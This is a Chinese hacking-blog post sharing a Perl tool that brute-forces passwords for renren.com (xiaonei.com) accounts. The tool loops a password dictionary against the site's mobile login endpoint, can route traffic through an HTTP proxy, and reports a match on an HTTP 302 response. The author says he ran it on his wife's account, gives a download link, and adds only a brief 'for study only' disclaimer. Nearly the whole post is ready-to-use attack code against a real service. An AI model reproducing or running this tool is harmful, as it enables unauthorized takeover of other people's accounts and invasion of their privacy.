0x50sec.org

一个简单的校内网、人人网帐号暴力破解工具（Perl）
单线程、支持HTTP代理。

windows用户一般需要安装active perl等perl解析程序。

然后用老婆的账号测试了一下，因为我知道老婆的所有信息，让然我也知道老婆的密码，这里仅仅是测试一下。不一会就跑出了人人网账号的密码。

当然需要事先知道账号的邮箱地址才能破解。

此程序仅供学习研究之用，严禁用于侵犯别人隐私的行为。


#!/usr/bin/perl
# detectxn.pl
# Brute force for xiaonei.com、renren.com
# By 0x50sec.org Just for fun
# If you wanna to detect sombody's account ,please use Dansnow...
#Thanks google.com,milw0rm.com,xfocus.net...
use POSIX;
use LWP::UserAgent;

sub isproxy
{
my $t=0;
foreach (@ARGV)
{
if ($ARGV[$t] eq “–proxy”){$proxy = $ARGV[$t+1]}
$t++;
}
}

sub Usage
{
print(“\n”);
print(“[+] Usage: $0 \n”);
print(“[+] Coded by hackerxwar\n”);
print(“\n”);
}

sub try_login
{
my ($user, $passdic) = @_;
my $okflag = 0;
my $lwp = new LWP::UserAgent or die;
$lwp->agent(‘Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6)’);
$lwp->proxy(“http”, “http://$proxy/”) if defined($proxy);
open(FH,”<$passdic”);
while() #readdicfile
{
chomp;
my $pwd=$_;
printf(“Now try …”.$user.”~~~~”.$pwd);
my $res = $lwp->post( $target,
['email' => $user,
'password' => $pwd,
'origURL' => "/home.do?from=8000103",
]
);
my $myres=$res->content; #for test
#printf($myres) ; #for test
#print “$res->status_line”;
#if($myres=~/http:\/\/login.renren.com\/callback.do/)
#To judge if the login is sucess
if($res->status_line =~ /^302/)
{
$okflag = 1;
printf(“\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n”);
print(“\n[+]“.$res->status_line.”\tlogin OK with : $user~~~~$pwd \n”);
printf(“\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n”);
last;
}
else
{
printf(“\t[-]“.$res->status_line.”\tlogin failed!\n”);
}
}
close(FH);
if($okflag == 0)
{
printf(“\n—————————————————–\n”);
printf(“[-]login failed with $user and dicfile $passdic…”);
printf(“\n—————————————————–\n”);
}
return 1;
}

if(@ARGV < 2)
{
Usage();
exit;
}
isproxy();
print (“Use proxy: “.$proxy.”\n”) if defined($proxy);
$target =”http://m.renren.com/login.do”;
$user=$ARGV[0];
$passdic=$ARGV[1];
Usage();
try_login($user,$passdic) or die “[-] login failed with $user and dic:$passdic\n”;

下载地址:cxn.pl.tar